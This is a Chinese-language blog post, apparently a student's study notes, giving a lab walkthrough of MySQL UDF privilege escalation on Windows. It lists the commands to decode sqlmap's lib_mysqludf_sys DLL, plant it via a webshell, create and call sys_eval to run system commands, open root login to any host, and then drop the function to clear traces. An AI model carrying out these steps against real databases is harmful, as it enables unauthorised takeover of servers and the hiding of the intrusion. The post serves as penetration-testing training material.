zoukankan      html  css  js  c++  java
  • MySQL_UDF提权

    大三就快结束啦,也要轮到我找工作啦,结合网上的资料和自己的经验准备了一些材料,算是对自己技术方面的小小总结吧。趁这个机会查缺补漏做一些原来知道但没有动手试过的实验。

    一、原理

    udf 即 user defined function,文件后缀为.dll。通过在 udf 文件中定义新函数,可以对 mysql 的功能进行扩充,利用 mysql 账号 root 权限创建可以执行系统命令函数的 udf.dll 动态链接库,把权限从执行 sql 语句提升到执行系统命令。

    使用 udf 分为三个步骤:

    1. 把含义自定义函数(如执行系统命令函数 sys_eval )的 dll 文件放入特定文件夹下
    2. 声明引入这个dll文件中的自定义函数
    3. 使用自定义的函数

    二、前提

    1. root权限(需要创建和删除自定义函数)
    2. mysql < 5.1,udf.dll 文件在 win2003 下放置于 c:windowssystem32 目录,在 win2000下放置在 c:winntsystem32 目录
    3. mysql >= 5.1,udf.dll 文件放置在 mysql 安装目录的 libplugin 文件夹下(该目录默认是不存在的,需要使用 webshell 找到 mysql 的安装目录,并在安装目录下创建 libplugin 文件夹,然后将 udf.dll 文件导出到该目录)

    三、提权

    3.1实验环境

    攻击机:win10 
    ip:192.168.34.1
    靶机:win7
    ip:192.168.34.130
    攻击机在靶机写入一句话木马,蚁剑连接。
     
    (mysql 远程登录报错 Host is not allowed to connect to this MySQL server 解决方法:
    1. 在装有 mysql 的机器上登录 mysql -u root -p 密码(远程 phpmyadmin 也可以)
    2. 执行 use mysql;
    3. 执行 update user set host = '%' where user = 'root'; (这一句执行会报错,不用管它)
    4. 执行FLUSH PRIVILEGES;

    3.2上传UDF 

    先判断数据库版本,符合 mysql >= 5.1 情况。

    sqlmap 中有 udf 文件,分为32位和64位,根据 mysql 的位数选择(不是靶机系统位数),命令 show variables like '%version_%'; 查看 mysql 位数。

     
     
    sqlmapdataudfmysqlwindows32 目录下存放着32位的 lib_mysqludf_sys.dll_,但是 sqlmap 中自带的 shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用。可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmapextracloak 目录下,执行命令:python2 cloak.py -d -i D:Penetrationsqlmapdataudfmysqlwindows32lib_mysqludf_sys.dll_

    解码后在 sqlmapdataudfmysqlwindows32 文件夹下会生成 dll 文件。在 mysql 安装路径下的 lib 文件夹内创建 plugin 目录,上传 lib_mysqludf_sys.dll。

     

    3.3引入函数

    需要创建 udf 中存在的函数,可以用 winhex 打开 dll 看一下有哪些函数可以创建。这里选择 sys_eval 函数。
    sys_eval:执行任意命令,并将输出返回。sys_exec:执行任意命令,并将退出码返回。
     
     
    引入自定义函数:create function sys_eval returns string soname "lib_mysqludf_sys.dll";
     
     

    3.4使用函数

    验证一下:select * from mysql.func where name = 'sys_eval'; 

    select sys_eval('calc'); 弹计算器实验一下,还可以新建账号加入管理员组等进行其它操作。

    3.5清除痕迹

    删除函数命令:

    drop function sys_eval;

    delete from mysql.func where name='sys_eval';

    参考:

    http://www.yangchengec.cn/zhoubian/365.html

    https://www.jianshu.com/p/5b34c1b6dee7

    https://blog.csdn.net/qq_26090065/article/details/81515355

  • 相关阅读:
    如何在域和域之间建立信任域?关键是配置域和域之间的DNS服务器
    Client Recevier 命令安装 AllUsers=1
    在XD 4.0 设置Policy
    更改linux系统中键盘设置
    如何在DNS中添加另一DNS
    CMD命令
    KMS激活OS(系统)
    谁抢了我的IP!!!~
    关于域证书的发布CA和CRL的内容 (Windows 2008 Server R2 SP1)
    XenServer假死状态
  • 原文地址:https://www.cnblogs.com/wkzb/p/13174291.html
Copyright © 2011-2022 走看看